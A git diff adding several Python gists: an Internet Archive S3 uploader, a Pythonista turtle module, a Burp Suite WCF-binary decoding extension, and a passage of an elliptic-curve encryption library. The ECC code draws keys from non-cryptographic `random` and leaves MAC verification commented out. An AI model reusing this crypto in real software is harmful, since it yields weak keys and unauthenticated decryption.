+    http_server = tornado.httpserver.HTTPServer(application)
+    http_server.listen(options.port)
+    # Set up your tornado application as usual using `IOLoop.instance`
+    reactor.run()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/4413028/._snippet.py b/hard-gists/4413028/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4413028/._snippet.py differ
diff --git a/hard-gists/4413028/snippet.py b/hard-gists/4413028/snippet.py
new file mode 100644
index 00000000..ed61e810
--- /dev/null
+++ b/hard-gists/4413028/snippet.py
@@ -0,0 +1,62 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+# Copyright (C) 2012-2015 Hydriz Scholz
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+# 
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+# 
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+import boto
+from boto.s3.connection import OrdinaryCallingFormat
+from filechunkio import FileChunkIO
+import math
+import os
+import settings
+import sys
+
+class DumpsMultipart:
+	def __init__( self ):
+		self.accesskey = settings.accesskey
+		self.secretkey = settings.secretkey
+		self.conn = boto.connect_s3( self.accesskey, self.secretkey, host='s3.us.archive.org', is_secure=False, calling_format=OrdinaryCallingFormat() )
+
+	def upload( self, dumpfile, identifier ):
+		item = self.conn.get_bucket( identifier )
+		filesize = os.stat( dumpfile ).st_size
+		header = {
+			'x-archive-queue-derive': '0'
+		}
+		# Initiate the multipart upload request
+		mp = item.initiate_multipart_upload( os.path.basename( dumpfile ), headers=header )
+
+		# Use a chunk size of 200 MB
+		chunksize = 209715200
+		chunkcount = int( math.ceil( filesize / chunksize ) )
+
+		# Send the file parts, using FileChunkIO to create a file-like object
+		# that points to a certain byte range within the original file. We
+		# set bytes to never exceed the original file size.
+		for i in range( chunkcount + 1 ):
+			offset = chunksize * i
+			bytes = min( chunksize, filesize - offset )
+			with FileChunkIO( dumpfile, 'r', offset=offset, bytes=bytes ) as fp:
+				mp.upload_part_from_file( fp, part_num=i + 1, headers=header )
+
+		# Complete the multipart upload
+		mp.complete_upload()
+
+	def process( self ):
+		self.upload( sys.argv[1], sys.argv[2] )
+
+if __name__ == "__main__":
+	DumpsMultipart = DumpsMultipart()
+	DumpsMultipart.process()
diff --git a/hard-gists/4413863/._snippet.py b/hard-gists/4413863/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4413863/._snippet.py differ
diff --git a/hard-gists/4413863/snippet.py b/hard-gists/4413863/snippet.py
new file mode 100644
index 00000000..34483820
--- /dev/null
+++ b/hard-gists/4413863/snippet.py
@@ -0,0 +1,113 @@
+# turtle.py
+# Basic Turtle graphics module for Pythonista
+# 
+# When run as a script, the classic Koch snowflake is drawn as a demo.
+# The module can also be used interactively or from other scripts:
+# >>> from turtle import *
+# >>> right(30)
+# >>> forward(100)
+# ...
+
+from canvas import set_size, draw_rect, draw_line, set_stroke_color
+from math import sin, cos, pi
+from time import sleep
+
+heading = 0.0
+pos = (0, 0)
+pen_is_down = True
+
+DELAY = 0.0
+
+def to_rad(deg):
+	return deg * pi/180.0
+
+def home():
+	global heading, pos
+	heading = 0
+	pos = (0, 0)
+
+def reset():
+	set_size(512, 512)
+	home()
+	set_stroke_color(0, 0, 0)
+	draw_rect(0, 0, 512, 512)
+	set_stroke_color(0, 0, 1)
+
+def forward(distance):
+	sleep(DELAY)
+	global pos
+	to = (pos[0] + sin(heading) * distance, pos[1] + cos(heading) * distance)
+	if pen_is_down:
+		draw_line(pos[0], pos[1], to[0], to[1])
+	pos = to
+
+fd = forward
+
+def backward(distance):
+	sleep(DELAY)
+	global pos
+	to = (pos[0] - sin(heading) * distance, pos[1] - cos(heading) * distance)
+	if pen_is_down:
+		draw_line(pos[0], pos[1], to[0], to[1])
+	pos = to
+
+bk = backward
+back = backward
+
+def right(angle):
+	global heading
+	heading += to_rad(angle)
+
+rt = right
+
+def left(angle):
+	global heading
+	heading -= to_rad(angle)
+
+lt = left
+
+def goto(x, y):
+	global pos
+	pos = (x, y)
+
+setpos = goto
+setposition = goto
+
+def setheading(angle):
+	global heading
+	heading = to_rad(angle)
+
+seth = setheading
+
+def pendown():
+	global pen_is_down
+	pen_is_down = True
+
+pd = pendown
+down = pendown
+
+def penup():
+	global pen_is_down
+	pen_is_down = False
+
+pu = penup
+up = penup
+
+reset()
+
+if __name__ == '__main__':
+	# Draw the Koch snowflake
+	# (adapted from http://commons.wikimedia.org/wiki/Koch_snowflake)
+	setposition(100, 100)
+	koch_flake = 'FRFRF'
+	iterations = 5
+	for i in range(iterations):
+		koch_flake = koch_flake.replace('F', 'FLFRFLF')
+	for move in koch_flake:
+		if move == 'F':
+			forward(100.0 / (3 ** (iterations - 1)))
+		elif move == 'L':
+			left(60)
+		elif move == 'R':
+			right(120)
+
diff --git a/hard-gists/4420532/._snippet.py b/hard-gists/4420532/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4420532/._snippet.py differ
diff --git a/hard-gists/4420532/snippet.py b/hard-gists/4420532/snippet.py
new file mode 100644
index 00000000..e5de07ba
--- /dev/null
+++ b/hard-gists/4420532/snippet.py
@@ -0,0 +1,142 @@
+# -*- coding: utf-8 -*-
+"""
+Created on Fri Dec 28 14:16:12 2012
+
+@author: Nick Coblentz
+Some of this code is borrowed from Brian Holyfield's Burp plugin located here: https://github.com/GDSSecurity/WCF-Binary-SOAP-Plug-In
+It is also fully dependent on having NBFS.exe from his plugin in the same directory as Burp.
+"""
+
+from burp import IBurpExtender
+from burp import IMessageEditorTabFactory
+from burp import IMessageEditorTab
+from java.io import PrintWriter
+from xml.dom import minidom
+import subprocess
+import base64
+from subprocess import CalledProcessError
+import sys
+
+class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
+    def registerExtenderCallbacks(self, callbacks):
+        self.callbacks=callbacks
+        self.stdout = PrintWriter(callbacks.getStdout(), True)
+        self.stderr = PrintWriter(callbacks.getStderr(), True)
+        self.helpers = callbacks.getHelpers()
+        callbacks.setExtensionName("WCF Binary Helper")        
+        callbacks.registerMessageEditorTabFactory(self)
+        return
+        
+                
+    def createNewInstance(self, controller, editable):                
+        return WCFBinaryHelperTab(self, controller, editable)
+        
+class WCFBinaryHelperTab(IMessageEditorTab):
+    def __init__(self, extender, controller, editable):
+        self.extender = extender
+        self.editable = editable
+        self.controller = controller
+                
+        self.txtInput = extender.callbacks.createTextEditor()
+        self.txtInput.setEditable(editable)        
+        
+        self.httpHeaders=None   
+        self.body=None
+        self.content=None
+        return
+
+    def getTabCaption(self):
+        return "WCF Binary Helper"
+        
+    def getUiComponent(self):
+        return self.txtInput.getComponent()
+        
+    def isModified(self):        
+        return self.txtInput.isTextModified()
+        
+    def getSelectedData(self):        
+        return self.txtInput.getSelectedText()
+              
+    def getHeadersContaining(self, findValue, headers):
+        if(findValue!=None and headers!=None and len(headers)>0):
+            return [s for s in headers if findValue in s]
+        return None
+        
+    def isEnabled(self, content, isRequest):
+        #Content-Type: application/msbin1
+        self.content=content
+        request_or_response_info=None
+        if(isRequest):
+            request_or_response_info=self.extender.helpers.analyzeRequest(content)
+        else:
+            request_or_response_info=self.extender.helpers.analyzeResponse(content)
+        if(request_or_response_info != None):
+            headers = request_or_response_info.getHeaders()
+            if(headers!=None and len(headers)>0):
+                self.httpHeaders=headers
+                self.body=self.extender.helpers.bytesToString(content[request_or_response_info.getBodyOffset():])
+                matched_headers = self.getHeadersContaining('Content-Type',headers  )
+                if(matched_headers!=None):
+                    for matched_header in matched_headers:
+                        if('msbin1' in matched_header):
+                            return True
+        return False        
+        
+    def getPrettyXML(self,xmldata):
+        try:
+            return minidom.parseString(xmldata).toprettyxml(encoding="utf-8")
+        except:
+            return xmldata        
+
+    def decodeWCF(self,base64EncodedBody):        
+        try:
+            #NBFS.exe must be in the same directory as Burp
+            proc = subprocess.Popen(['NBFS.exe','decode',base64EncodedBody],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
+            #proc.wait()
+            output = proc.stdout.read()
+            self.extender.stdout.println(output)
+            self.extender.stdout.println(proc.stderr.read())
+            return output
+
+        except CalledProcessError, e:
+            self.extender.stdout.println("error({0}): {1}".format(e.errno, e.strerror))
+        except:
+            self.extender.stdout.println("Unexpected error: %s: %s\n%s" % (sys.exc_info()[0],sys.exc_info()[1],sys.exc_info()[2]))
+        #self.extender.stdout.println(output)
+        return None
+        
+    def encodeWCF(self,xmlContent):       
+        xmlStringContent=self.extender.helpers.bytesToString(xmlContent)        
+        base64EncodedXML=base64.b64encode(xmlStringContent.replace("\n",'').replace("\t",''))
+        try:
+            #NBFS.exe must be in the same directory as Burp
+            proc = subprocess.Popen(['NBFS.exe','encode',base64EncodedXML],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
+            #proc.wait()
+            output = proc.stdout.read()
+            self.extender.stdout.println(output)
+            self.extender.stdout.println(proc.stderr.read())
+            return self.extender.helpers.stringToBytes(base64.b64decode(output))
+
+        except CalledProcessError, e:
+            self.extender.stdout.println("error({0}): {1}".format(e.errno, e.strerror))
+        except:
+            self.extender.stdout.println("Unexpected error: %s: %s\n%s" % (sys.exc_info()[0],sys.exc_info()[1],sys.exc_info()[2]))
+        #self.extender.stdout.println(output)
+        return None        
+        
+    def setMessage(self, content, isRequest):       
+        base64encoded_wcfbinary_data = base64.b64encode(self.body)
+        self.extender.stdout.println(base64encoded_wcfbinary_data)
+        output1=self.decodeWCF(base64encoded_wcfbinary_data)
+        output2=base64.b64decode(output1)
+        self.txtInput.setText(self.getPrettyXML(output2))
+        return
+        
+        
+    def getMessage(self):
+        if(self.txtInput.isTextModified()):
+            return self.extender.helpers.buildHttpMessage(self.httpHeaders,self.encodeWCF(self.txtInput.getText()))
+        else:
+            return self.content
+        
+        
\ No newline at end of file
diff --git a/hard-gists/4423605/._snippet.py b/hard-gists/4423605/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4423605/._snippet.py differ
diff --git a/hard-gists/4423605/snippet.py b/hard-gists/4423605/snippet.py
new file mode 100644
index 00000000..ebdb9bba
--- /dev/null
+++ b/hard-gists/4423605/snippet.py
@@ -0,0 +1,733 @@
+'''
+Implementations of some basic elliptic curve cryptography primitivese.
+
+Behavior specified by SECG in SEC1 version 1 and 2.
+Also ANSI X9.63.
+
+Curves specified from SEC2 version 1 and 2,
+and NIST "Recommended Elliptic Curves for Federal Government Use".
+
+See: http://en.wikipedia.org/wiki/Elliptic_curve_cryptography and
+http://www.johannes-bauer.com/compsci/ecc/?menuid=4 and
+http://www.dkrypt.com/home/ecc
+for mathematical background.
+'''
+import collections, random, binascii
+import hashlib, hmac
+
+from Crypto.Cipher import DES3, XOR, AES
+from Crypto.Util.strxor import strxor
+
+class Point(collections.namedtuple("EC_Point", "x y curve")):
+    'represents a point on a prime field, curve of the form yy = xxx + ax + b'
+    def _add(self, other):
+        a = self.curve.a
+        prime = self.curve.p
+        p = self
+        q = other
+        if p != q:
+            s = _divmod(q.y - p.y, q.x - p.x, prime)
+        else: #point doubling
+            s = _divmod(3*p.x*p.x + a, 2*p.y, prime)
+        x = s*s - p.x - q.x
+        y = s*(p.x - x) - p.y
+        return Point(x % prime, y % prime, self.curve)
+
+
+    def __add__(self, other):
+        if other == 0: #TODO: what is zero for an EC_Point?
+            return self
+        #if not isinstance(other, Point):
+        #    raise ValueError("Points can not be added to "+type(other).__name__)
+        if self.curve != other.curve:
+            raise ValueError("only points on the same curve can be added")
+        #implemented from http://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication#Point_addition
+        return self._add(other)
+
+    __radd__ = __add__
+
+    def __rmul__(self, num):
+        acc = 0 #TODO: what is zero for an EC_Point?
+        doubler = self
+        while num >= 1:
+            if num & 1:
+                acc += doubler
+            num >>= 1
+            doubler += doubler
+        return acc
+
+    __mul__ = __rmul__
+
+    def check(self): #sanity check that current point is on its own curve
+        lhs = self.y**2
+        rhs = self.x**3 + self.curve.a * self.x + self.curve.b
+        return lhs % self.curve.p == rhs % self.curve.p
+
+    def compress(self):
+        return self.x*2 + self.y
+
+def sec_decode(curve, data):
+    'octet-string decoding as defined in section 2.3.3 of SEC1'
+    if data[0] == '\x04':
+        raise ValueError("uncompressed format not yet supported")
+    elif data[0] == '\x02':
+        y_p = 0
+    elif data[0] == '\x03':
+        y_p = 1
+    else:
+        raise ValueError("invalid data: first byte must be one of 02, 03, 04")
+
+    if isinstance(curve, Curve):
+        x = int(binascii.hexlify(data[1:]), 16)
+        assert x < curve.p, "encoded point is not within range of curve points"
+        alpha = ( x**3 + curve.a*x + curve.b ) % curve.p
+        beta = _sqrt_mod(alpha, curve.p)
+        if beta % 2 == y_p:
+            y = beta
+        else:
+            y = curve.p - beta
+        point =  Point(x,y,curve)
+    elif isinstance(curve, BinaryFieldCurve):
+        x = _BinaryFieldInt(binascii.hexlify(data[1:]), 16)
+        #assert x < 2**(int(math.log(curve.f, 2))+1), "encoded point is not within range of curve points"
+        inv_x, _ = _extended_gcd(x, curve.f)
+        beta = (x + curve.a + curve.b * inv_x*inv_x) % curve.f
+        # "find an element z such that z**2 + z = beta"
+        z = _quadr_solve(beta, curve.f)
+        if z%2 == y_p:
+            y = (x * z) % curve.f
+        else:
+            y = (x * (z + 1)) % curve.f
+        point = BinaryPoint(x,y,curve)
+    else:
+        raise ValueError("unrecognized curve type")
+
+    if not point.check():
+        raise ValueError("point is not on curve")
+    return point
+
+def sec_encode(point, compressed=True):
+    'octet-string encoding as defined in section 2.3.4 of SEC1'
+    curve = point.curve
+    #TODO: calculate length properly
+    x = "{0:X}".format(point.x)
+    if len(x)%2:
+        x = "0"+x
+    x = binascii.unhexlify(x)
+    if compressed:
+        if isinstance(curve, Curve):
+            y = point.y
+        else:
+            #inverse of point y for BinaryFieldCurve
+            y, _ = _extended_gcd(point.y, curve.f)
+        if y & 0x1: #don't use modulus
+            output = '\x03' + x
+        else:
+            output = '\x02' + x
+        return output
+    else:
+        y = "{0:X}".format(point.y)
+        if len(y)%2:
+            y = "0"+y
+        y = binascii.unhexlify(y)
+        return "\x04"+x+y
+
+
+class BinaryPoint(Point):
+    'Represents a point on a binary field, curve of the form yy + xy = xxx + axx + b'
+    def __new__(cls, x, y, curve):
+        return Point.__new__(cls, _BinaryFieldInt(x), _BinaryFieldInt(y), curve)
+
+    def _add(self, other):
+        a = self.curve.a 
+        b = self.curve.b
+        p = self
+        q = other
+        f = self.curve.f
+        if p == q: #point doubling
+            s = p.x + _divmod(p.y, p.x, f)
+            x = s*s + s + a
+            y = p.x*p.x + (s+1)*x
+        else:
+            s = _divmod(p.y + q.y, p.x + q.x, f)
+            x = s*s + s + p.x + q.x + a
+            y = s*(p.x + x) + x + p.y
+        return BinaryPoint(x%f, y%f, self.curve)
+
+    def check(self):
+        lhs = self.y*self.y + self.x*self.y
+        rhs = self.x*self.x*self.x + self.curve.a * self.x*self.x + self.curve.b
+        return lhs % self.curve.f == rhs % self.curve.f
+
+Curve = collections.namedtuple("EllipticCurve", "a b p")
+#representing the equation y**2 = x**3 + a*x + b % p
+
+_BinaryFieldCurve = collections.namedtuple("BinaryFieldEllipticCurve", "a b f")
+class BinaryFieldCurve(_BinaryFieldCurve):
+    def __new__(cls, a, b, f):
+        a = _BinaryFieldInt(a)
+        b = _BinaryFieldInt(b)
+        if type(f) is list:
+            f = sum([2**e for e in f]) + 1
+        f = _BinaryFieldInt(f)
+        return _BinaryFieldCurve.__new__(cls,a,b,f)
+#representing the equation y*y + y*x = x*x*x + a*x*x + b
+#over the field of polynomials whose coefficients are {0,1}, aka GF(2)
+
+class Encryptor(object):
+    def __init__(self, curve, G, n, h):
+        self.curve = curve #the particular elliptic curve
+        self.G = G #a Generator EC_Point on the curve
+        self.n = n #the order of the curve generator G; that is n*G % p = G
+        #multiplying G by more than n is pointless -- it just loops back around
+        self.h = h # the cofactor of the curve, it is the quotient of the number of curve-points
+
+        #pre-calculate size of serialized field elements
+        if isinstance(curve, Curve):
+            curve_size = len("{0:x}".format(curve.p))
+        else:
+            curve_size = len("{0:x}".format(curve.f))
+        self.curve_size = (curve_size + curve_size%2)/2
+
+    @classmethod
+    def make_curve(self, curve, G_x, G_y, n, h=None):
+        G = Point(G_x, G_y, curve)
+        if not G.check():
+            raise ValueError("Invalid: generator point not on curve")
+        return Encryptor(curve, G, n, h)
+
+    @classmethod
+    def make_binary_curve(self, curve, G_x, G_y, n, h=None):
+        G = BinaryPoint(G_x, G_y, curve)
+        if not G.check():
+            raise ValueError("Invalid: generator point not on curve")
+        return Encryptor(curve, G, n, h)
+
+    def gen_keypair(self, private=None):
+        if private is None:
+            private = random.randint(1, self.n)
+        public = private * self.G
+        return private, public
+
+    def encrypt(self, public, r=None):
+        if r is None:
+            r = random.randint(1, self.n)
+        R = r * self.G #to be transmitted
+        S = r * public #secret key
+        #only with corresponding private key, can secret key S be recovered
+        return R, S
+
+    def decrypt(self, private, R):
+        S = private * R
+        return S
+
+MODE_CERTICOM98 = "certicom98"
+MODE_STANDARD = "standard"
+
+class ECAES(object):
+    '''
+    Elliptic Curve Augmented Encryption Scheme,
+    aka Elliptic Curve Integrated Encryption Scheme (ECIES),
+    aka Elliptic Curve Encryption Scheme (ECES)
+    '''
+
+    def __init__(self, elliptic_curve_encryptor, public_key, private_key, key_hash=hashlib.sha1,
+                        cipher=DES3, cipher_key_len=None, mac_hash=hashlib.sha1, compress_points=True,
+                        cofactor_diffie_hellman=False, mode=MODE_STANDARD):
+        self.encryptor = elliptic_curve_encryptor
+        self.public_key = public_key
+        self.private_key = private_key
+        self.cipher = cipher
+        if cipher_key_len is None:
+            if cipher in (DES3, AES):
+                self.cipher_key_len = 24
+            else:
+                self.cipher_key_len = None
+        self.mac_len = len(mac_hash('test').digest())
+        self.mac_hash = mac_hash
+        self.key_hash = key_hash
+        self.compress_points = compress_points
+        self.cofactor_diffie_hellman = cofactor_diffie_hellman
+        self.mode = mode #certicom or standard
+
+
+    def encrypt(self, plaintext, r=None):
+        if r is None:
+            r = random.randint(1, self.encryptor.n)
+        point = r * self.public_key
+        cipher_key_len = self.cipher_key_len or len(plaintext) #for xor cipher
+        mac_key_len = self.mac_len
+        keys = self.derive_keys(point, cipher_key_len + mac_key_len)
+        cipher_key, mac_key = keys[:cipher_key_len], keys[cipher_key_len:]
+        if self.cipher is DES3:
+            cipher = DES3.new(cipher_key, mode=DES3.MODE_CBC)
+        elif self.cipher is AES:
+            cipher = AES.new(cipher_key, mode=AES.MODE_CBC)
+        elif self.cipher is XOR:
+            cipher = XOR.new(cipher_key)
+        ciphertext = cipher.encrypt(plaintext)
+        cmp_point = sec_encode(r * self.encryptor.G, self.compress_points)
+        mac = hmac.new(mac_key, ciphertext, self.mac_hash).digest()
+        return cmp_point + ciphertext + mac
+
+    def decrypt(self, data):
+        curve_size = self.encryptor.curve_size
+        point = data[:curve_size+1]
+        if self.mode == MODE_CERTICOM98:
+            mac_end = curve_size+1+self.mac_len
+            mac, ciphertext = data[curve_size+1:mac_end], data[mac_end:]
+        else: 
+            ciphertext, mac = data[curve_size+1:-self.mac_len], data[-self.mac_len:]
+        point = sec_decode(self.encryptor.curve, point)
+        point = self.private_key * point
+        cipher_key_len = self.cipher_key_len or len(ciphertext) #for xor cipher
+        mac_key_len = self.mac_len
+        keys = self.derive_keys(point, cipher_key_len + mac_key_len)
+        cipher_key, mac_key = keys[:cipher_key_len], keys[cipher_key_len:]
+
+        #cur_mac = hmac.new(mac_key, ciphertext, self.mac_hash).digest()
+        #print binascii.hexlify(cur_mac).upper()
+        #print binascii.hexlify(mac).upper()
+        #assert mac == cur_mac, "mac mismatch"
+        if self.cipher is DES3:
+            cipher = DES3.new(cipher_key, mode=DES3.MODE_CBC)
+        elif self.cipher is AES:
+            cipher = AES.new(cipher_key, mode=AES.MODE_CBC)
+        elif self.cipher is XOR:
+            return strxor(cipher_key, ciphertext)
+        return cipher.decrypt(ciphertext)
+
+    def derive_keys(self, point, keylen):
+        'X9.63 key derivation function'
+        curve_size = self.encryptor.curve_size
+        if self.cofactor_diffie_hellman:
+            point = self.encryptor.h * point
+        shared_secret = binascii.unhexlify("{0:0{1:d}X}".format(point.x, curve_size*2))
+        #certicom does some crazy complex shared_secret derivation
+        sofar = 0
+        keys = []
+        if self.mode == MODE_CERTICOM98:
+            counter = 0
+        else:
+            counter = 1
+        while sofar < keylen:
+            count = '\0\0\0'+chr(counter)
+            if self.mode == MODE_CERTICOM98:
+                cur = count+shared_secret
+            else:
+                cur = shared_secret+count
+            keys.append(self.key_hash(cur).digest())
+            sofar += len(keys[-1])
+            counter += 1
+        return "".join(keys)[:keylen]
+
+#division in integers modulus p means finding the inverse of the denominator
+#modulo p and then multiplying the numerator by this inverse
+#(Note: inverse of A is B such that A*B % p == 1)
+#this can be computed via extended euclidean algorithm
+# http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
+def _extended_gcd(a, b):
+    x = 0
+    last_x = 1
+    y = 1
+    last_y = 0
+    while b != 0:
+        quot = a / b
+        a, b = b,  a%b
+        x, last_x = last_x - quot * x, x
+        y, last_y = last_y - quot * y, y
+    return last_x, last_y
+
+#TODO: optimize: a/b and a%b are the same operation underneath for _BinaryFieldInts
+#this is the dominating operation performance wise, so reducing this will be 2x speedup
+
+def _divmod(num, den, p):
+    inv, _ = _extended_gcd(den, p)
+    return num * inv
+
+def jacobi(a, n):
+    t = 1
+    while a != 0:
+        while a % 2 == 0:
+            a >>= 1
+            if n % 8 == 3 or n % 8 == 5: t = -t
+        if a < n:
+            a, n = n, a
+            if a % 4 == 3 and n % 4 == 3: t = -t
+        a = (a - n) >> 1
+        if n % 8 == 3 or n % 8 == 5: t = -t
+    if n == 1: return t
+    else: return 0
+
+#http://en.wikipedia.org/wiki/Shanks%E2%80%93Tonelli_algorithm
+#http://codereview.stackexchange.com/questions/14982/tonelli-shanks-algorithm-in-python
+def _sqrt_mod(a, p):
+    'Tonelli-Shanks algorithm, p must be a prime number'
+    a = a % p
+    if p % 8 == 3 or p % 8 == 7:
+        return pow(a, (p+1)/4, p)
+    elif p % 8 == 5:
+        x = pow(a, (p+3)/8, p)
+        c = (x*x) % p
+        if a == c:
+            return x
+        return (x * pow(2, (p-1)/4, p)) % p
+    else:
+        # find a quadratic non-residue d
+        d = 2
+        while jacobi(d, p) > -1:
+            d += 1
+        # set p-1 = 2^s * t with t odd
+        t = p - 1
+        s = 0
+        while t % 2 == 0:
+            t /= 2
+            s += 1
+        at = pow(a, t, p)
+        dt = pow(d, t, p)
+        m = 0
+        for i in xrange(0, s):
+            if pow(at * pow(dt, m), pow(2, s-1-i), p) == (p-1):
+                m = m + pow(2, i)
+        return (pow(a, (t+1)/2) * pow(dt, m/2)) % p
+
+class _BinaryFieldInt(long):
+    def __add__(self, o): return _BinaryFieldInt(self ^ o)
+    __radd__ = __add__
+    __sub__  = __add__
+    __rsub__ = __add__
+    def __mul__(self, o): 
+        acc = 0 #TODO: performance!  ack
+        shift = 0
+        while o != 0:
+            if o & 1:
+                acc ^= self << shift
+            shift += 1
+            o >>= 1
+        return _BinaryFieldInt(acc)
+    __rmul__ = __mul__
+    def __mod__(self, base):
+        q, r = _bf_div(self, base)
+        return _BinaryFieldInt(r)
+    def __div__(self, o):
+        q, r = _bf_div(self, o)
+        return _BinaryFieldInt(q)
+
+#the performance is probably terrible
+def _bf_div(a, b):
+    r = a #remainder
+    q = 0 #quotient
+    #TODO: optimize by using hex instead of binary
+    rlen = len("{0:b}".format(r)) #NOTE: math.log() doesn't work on bignums
+    blen = len("{0:b}".format(b))
+    sweeper = 1 << (rlen-1)
+    while rlen >= blen:
+        shift = rlen - blen
+        q |= 1 << shift
+        r ^= b << shift
+        if r == 0: break #great, evenly divisible
+        while r and not sweeper & r:
+            sweeper >>= 1
+            rlen -= 1
+    return q, r
+
+def _quadr_solve(beta, f):
+    '''
+    find a solution of the form z*z + z = b mod f, if a solution exists
+    note: z, b, f are all BinaryFieldInts, not regular numbers
+    return None if no solution exists
+    '''
+    z = beta
+    m = len("{0:b}".format(f))
+    for i in range( (m-1)/2 ):
+        z = (z*z) % f
+        z = (z*z + beta) % f
+    if (z*z + z) % f == beta:
+        return z
+    raise ValueError("no solution exists for z**2 + z = beta")
+    return None
+
+
+#which specific fields?
+#Standard curves recommended by NIST
+#see http://csrc.nist.gov/groups/ST/toolkit/documents/dss/NISTReCur.pdf
+P192 = Encryptor.make_curve(
+    Curve(a = -3, 
+          b = 0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1,
+          p = 6277101735386680763835789423207666416083908700390324961279),
+    G_x = 0x188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012,
+    G_y = 0x07192b95ffc8da78631011ed6b24cdd573f977a11e794811,
+    n = 6277101735386680763835789423176059013767194773182842284081)
+
+P224 = Encryptor.make_curve(
+    Curve(a = -3,
+          b = 0xb4050a850c04b3abf54132565044b0b7d7bfd8ba270b39432355ffb4,
+          p = 26959946667150639794667015087019630673557916260026308143510066298881),
+    G_x = 0xb70e0cbd6bb4bf7f321390b94a03c1d356c21122343280d6115c1d21,
+    G_y = 0xbd376388b5f723fb4c22dfe6cd4375a05a07476444d5819985007e34,
+    n = 26959946667150639794667015087019625940457807714424391721682722368061)
+
+P256 = Encryptor.make_curve(
+    Curve(a = -3,
+          b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b,
+          p = 115792089210356248762697446949407573530086143415290314195533631308867097853951),
+    G_x = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
+    G_y = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5,
+    n = 115792089210356248762697446949407573529996955224135760342422259061068512044369)
+
+P384 = Encryptor.make_curve(
+    Curve(a = -3,
+          b = int("b3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f"\
+                  "5013875ac656398d8a2ed19d2a85c8edd3ec2aef", 16),
+          p = int("394020061963944792122790401001436138050797392704654466679482"\
+                  "93404245721771496870329047266088258938001861606973112319")),
+    G_x = int("aa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b98"\
+              "59f741e082542a385502f25dbf55296c3a545e3872760ab7", 16),
+    G_y = int("3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147c"\
+              "e9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f", 16),
+    n = int("394020061963944792122790401001436138050797392704654466679469052796"\
+            "27659399113263569398956308152294913554433653942643"))
+
+P521 = Encryptor.make_curve(
+    Curve(a = -3,
+          b = int("051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3"\
+                  "b8b489918ef109e156193951ec7e937b1652c0bd"\
+                  "3bb1bf073573df883d2c34f1ef451fd46b503f00", 16),
+          p = int("686479766013060971498190079908139321726943530014330540939446"\
+                  "345918554318339765605212255964066145455497729631139148085803"\
+                  "7121987999716643812574028291115057151")),
+    G_x = int("c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521"\
+              "f828af606b4d3dbaa14b5e77efe75928fe1dc127"\
+              "a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66", 16),
+    G_y = int("11839296a789a3bc0045c8a5fb42c7d1bd998f54449579b4468"\
+              "17afbd17273e662c97ee72995ef42640c550b901"\
+              "3fad0761353c7086a272c24088be94769fd16650", 16),
+    n = int("686479766013060971498190079908139321726943530014330540939446345918"\
+        "5543183397655394245057746333217197532963996371363321113864768612440380"\
+        "340372808892707005449"))
+
+K163 = Encryptor.make_binary_curve(
+    BinaryFieldCurve(a = 1, b = 1, f = [163, 7, 6, 3]),
+    G_x = 0x02FE13C0537BBC11ACAA07D793DE4E6D5E5C94EEE8,
+    G_y = 0x0289070FB05D38FF58321F2E800536D538CCDAA3D9,
+    n = 0x04000000000000000000020108A2E0CC0D99F8A5EF,
+    h = 2)
+
+B163 = Encryptor.make_binary_curve(
+    BinaryFieldCurve(
+        a = 1, #this is the only value of a from 0-4096 which works
+        b = 0x20a601907b8c953ca1481eb10512f78744a3205fd,
+        f = [163, 7, 6, 3]),
+    G_x = 0x3f0eba16286a2d57ea0991168d4994637e8343e36,
+    G_y = 0x0d51fbc6c71a0094fa2cdd545b11c5c0c797324f1,
+    n = 5846006549323611672814742442876390689256843201587)
+
+#standard curves from Secure Encryption Standard
+#http://www.secg.org/collateral/sec2_final.pdf
+SECP112_PRIME = (2**128 - 3)/76439
+
+SECP112r1 = Encryptor.make_curve(
+    Curve(a = 0xDB7C2ABF62E35E668076BEAD2088,
+          b = 0x659EF8BA043916EEDE8911702B22,
+          p = SECP112_PRIME),
+    G_x = 0x09487239995A5EE76B55F9C2F098,
+    G_y = 0xA89CE5AF8724C0A23E0E0FF77500,
+    n = 0xDB7C2ABF62E35E7628DFAC6561C5,
+    h = 1)
+
+SECP112r2 = Encryptor.make_curve(
+    Curve(a = 0x6127C24C05F38A0AAAF65C0EF02C,
+          b = 0x51DEF1815DB5ED74FCC34C85D709,
+          p = SECP112_PRIME),
+    G_x = 0x4BA30AB5E892B4E1649DD0928643,
+    G_y = 0xADCD46F5882E3747DEF36E956E97,
+    n = 0x36DF0AAFD8B8D7597CA10520D04B,
+    h = 4)
+
+SECP128_PRIME = 2**128 - 2**97 - 1
+
+SECP128r1 = Encryptor.make_curve(
